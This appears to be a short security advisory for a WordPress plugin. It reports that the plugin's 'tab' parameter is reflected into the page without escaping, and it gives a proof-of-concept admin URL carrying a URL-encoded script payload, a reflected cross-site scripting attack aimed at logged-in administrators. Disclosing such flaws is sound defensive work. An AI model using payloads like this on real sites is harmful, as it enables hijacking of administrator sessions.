Description The plugin does not sanitise and escape the tab parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open: https://example.com/wp-admin/admin.php?page=unique_jci_menu_slug&tab=%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3B%3C%2Fscript%3E
